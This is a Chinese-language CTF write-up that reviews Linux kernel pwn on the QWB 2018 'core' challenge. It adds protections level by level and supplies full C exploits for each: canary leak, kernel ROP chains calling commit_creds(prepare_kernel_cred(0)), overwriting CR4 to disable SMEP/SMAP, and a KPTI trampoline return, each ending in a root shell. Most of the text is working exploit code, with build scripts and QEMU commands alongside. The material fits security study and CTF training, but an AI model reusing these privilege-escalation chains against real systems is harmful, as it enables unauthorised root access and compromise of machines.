「Kernel Pwn」简单复习一下 kernel pwn
最近在复现一些 kernel cve,但是发现 kernel 已经忘光光了。抓紧利用这三周进行复习。
附件处理
写了几个小脚本
#!/bin/bash
# 默认目标文件夹
folder="fs"
# 解析参数
while [[ "$#" -gt 0 ]]; do
case $1 in
-f | --folder)
folder="$2"
shift
;;
*)
cpio_path="$1"
;;
esac
shift
done
# 检查cpio_path是否提供
if [[ -z "$cpio_path" ]]; then
echo "Usage: $0 [-f|--folder folder_name] cpio_path"
exit 1
fi
# 创建目标文件夹
mkdir -p "$folder"
# 将cpio_path拷贝到目标文件夹
cp "$cpio_path" "$folder"
# 获取文件名
cpio_file=$(basename "$cpio_path")
# 进入目标文件夹
cd "$folder" || exit
# 判断文件是否被 gzip 压缩
if file "$cpio_file" | grep -q "gzip compressed"; then
echo "$cpio_file is gzip compressed, checking extension..."
# 判断文件名是否带有 .gz 后缀
if [[ "$cpio_file" != *.gz ]]; then
mv "$cpio_file" "$cpio_file.gz"
cpio_file="$cpio_file.gz"
fi
echo "Decompressing $cpio_file..."
gunzip "$cpio_file"
# 去掉 .gz 后缀,得到解压后的文件名
cpio_file="${cpio_file%.gz}"
fi
# 解压cpio文件
echo "Extracting $cpio_file to file system..."
cpio -idmv <"$cpio_file"
rm "$cpio_file"
echo "Extraction complete."
#!/bin/sh
if [[ $# -ne 1 ]]; then
echo "Usage: $0 cpio_path"
exit 1
fi
cpio_file="../$1"
find . -print0 |
cpio --null -ov --format=newc |
gzip -9 >"$cpio_file"
#!/bin/sh
folder="fs"
cpio_file="initramfs.cpio.gz"
gcc_options=()
while [[ $# -gt 0 ]]; do
case $1 in
-f|--folder)
folder="$2"
shift
;;
-c|--cpio)
cpio_file="$2"
shift
;;
-*)
gcc_options+=("$1")
;;
*)
src="$1"
;;
esac
shift
done
if [ -z "$src" ]; then
echo "Usage: compile.sh [options] <source file>"
echo "Options:"
echo " -f, --folder <folder> Specify the folder to store the compiled binary"
echo " -c, --cpio <file> Specify the cpio file name"
echo " <other options> Options to pass to musl-gcc"
exit 1
fi
out=$(basename "$src" .c)
echo -e "\033[35mCompiling $src to $folder/$out\033[0m"
musl-gcc -static "${gcc_options[@]}" "$src" -Os -s -o "$out" -masm=intel
strip "$out"
mv "$out" "$folder/"
cd "$folder"
echo -e "\033[35mCreating cpio archive $cpio_file...\033[0m"
find . -print0 | cpio --null -ov --format=newc | gzip -9 > "../${cpio_file}"
echo -e "\033[35mDone\033[0m"
kernel rop
本节,我们将在强网杯 2018 core 的基础上,一步一步增强防护措施。
分析
由于漏洞分析非常简单,我们 不再赘述,可以搜索关键词查看。
Lv1. KCanary + KASLR
原本我想要把 KCanary 也关了的,但是需要重新编译内核太麻烦了。
于是 Lv1 是拥有 kcanary,其他均关闭的情况。
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
在这个情况下,我们仅需要读取 /tmp/kallsyms 拿到 commit_creds 和 prepare_kernel_cred 两个函数。
然而,其实因为能够直接获取地址,所以有没有 KASLR 没啥影响,因此我们把二者混在一起。
首先,我们需要找到 commit_creds 和 prepare_for_cred 两个函数的地址
syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}
while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}
if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}
if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}
然后,我们需要计算偏移。通过 checksec
之类的工具,我们可以看到 PIE 是 0xffffffff81000000
的,同样的我们也可以查到 commit_creds 在这个下面的地址。
e = ELF('./vmlinux.unstripped')
hex(e.sym['commit_creds'])
因此,偏移这样计算:
offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
此时,利用栈溢出,我们就可以修改返回地址
// musl-gcc -static -masm=intel -Wno-error=int-conversion -o exp exp.c // makes compiler happy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
#pragma clang diagnostic ignored "-Wconversion" // makes me happy
size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}
void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}
void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}
void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}
void getroot() {
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
int main() {
FILE *syms;
int fd;
size_t offset;
size_t addr;
size_t canary;
char type[256], name[256];
size_t rop[0x100], i;
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();
fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}
syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}
while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}
if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}
if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}
offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);
for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = (size_t)getroot;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}
Lv2. KCanary + KASLR + SMEP + SMAP
上面其实用的是 ret2usr 的手法,那么如果我们加上了 SMEP 和 SMAP 呢?
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-cpu qemu64-v1,+smep,+smap \
-initrd ./initramfs.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
method 0x1 - krop
其实最简单的,因为我们有一个溢出,直接在那写就行了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}
void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}
void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}
void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}
int main() {
FILE *syms;
int fd;
size_t offset;
size_t addr;
size_t canary;
char type[256], name[256];
size_t rop[0x100], i;
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();
fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}
syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}
while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}
if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}
if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}
offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);
for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RDI_RET + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RDX_RET + offset;
rop[i++] = POP_RCX_RET + offset;
rop[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}
method 0x2 - disable smep/smap
上述的方法并不能严格算是 "绕过"。因此,我们继续来看 SMEP 和 SMAP 是怎么运行的。
所以实际上它就是 CR4 寄存器的两个 bit 而已,我们置零即可。
ropper 找有没有能 pop cr4 的,没得,那就看看 mov cr4 的,找到一条
0xffffffff81002515: mov cr4, rax; push rcx; popfq; ret;
那我们就再重新布置一下 rop,把 cr4 改为 0x6f0 即可(图省事,你也可以用其他的 gadget 精准的去 xor 或者 not)
for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RAX_RET + offset;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop[i++] = (size_t)getroot;
rop[i++] = SWAPGS_POPFQ_RET + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
Lv.3 KCanary + KASLR + SMEP + SMAP + KPTI
如果再上 KPTI,那前面的 method 0x2 就不能用了。但是 method 0x1 仍然可以用,因为 KPTI 只是做了隔离而已。然而,由于我们在内核态的时候,PGD 是内核的,所以换回来还需要再额外 的做一些操作。
KPTI 简单来说,就是 4MB 的 PGD,04MB 放用户态 PGD,48MB 放内核态 PGD,通过 CR3 寄存器的 13 bit 的置反就可以非常高效的进行切换。
qemu-system-x86_64 \
-m 128M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr pti=on" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
method 0x1 - swapgs_restore_regs_and_return_to_usermode
最简单的就是直接用 swapgs_restore_regs_and_return_to_usermode
里的正确的切换语句来操作了。这个函数里,与寄存器和栈有关的操作可以被简述为下文,因此我们中间添加两个 padding 即可
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define POP_RAX_RET 0xffffffff810520cf
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008f0
#pragma clang diagnostic ignored "-Wconversion" // makes me happy
size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel_cred, commit_creds;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("\033[31m\033[1m[-] Exploit failed.\033[0m");
exit(0);
}
}
void core_read(int fd, char* buf) {
ioctl(fd, 0x6677889B, buf);
}
void core_set_offset(int fd, size_t offset) {
ioctl(fd, 0x6677889C, offset);
}
void core_copy(int fd, size_t nbytes) {
ioctl(fd, 0x6677889A, nbytes);
}
void getroot() {
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
int main() {
FILE *syms;
int fd;
size_t offset;
size_t addr;
size_t canary;
char type[256], name[256];
size_t rop[0x100], i;
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();
fd = open("/proc/core", O_RDWR);
if (fd < 0) {
puts("\033[31m\033[1m[-] Open /proc/core failed.\033[0m");
exit(0);
}
syms = fopen("/tmp/kallsyms", "r");
if (syms == NULL) {
puts("\033[31m\033[1m[-] Open /tmp/kallsyms failed.\033[0m");
exit(0);
}
while (fscanf(syms, "%lx %s %s", &addr, type, name)) {
if (prepare_kernel_cred && commit_creds) {
break;
}
if (!prepare_kernel_cred && strcmp(name, "prepare_kernel_cred") == 0) {
prepare_kernel_cred = addr;
printf("\033[33m\033[1m[√] Found prepare_kernel_cred: %lx\033[0m\n", prepare_kernel_cred);
}
if (!commit_creds && strcmp(name, "commit_creds") == 0) {
commit_creds = addr;
printf("\033[33m\033[1m[√] Found commit_creds: %lx\033[0m\n", commit_creds);
}
}
offset = commit_creds - 0x9c8e0 - 0xffffffff81000000;
core_set_offset(fd, 64);
core_read(fd, name);
canary = ((size_t *)name)[0];
printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);
for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RDI_RET + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RDX_RET + offset;
rop[i++] = POP_RCX_RET + offset;
rop[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}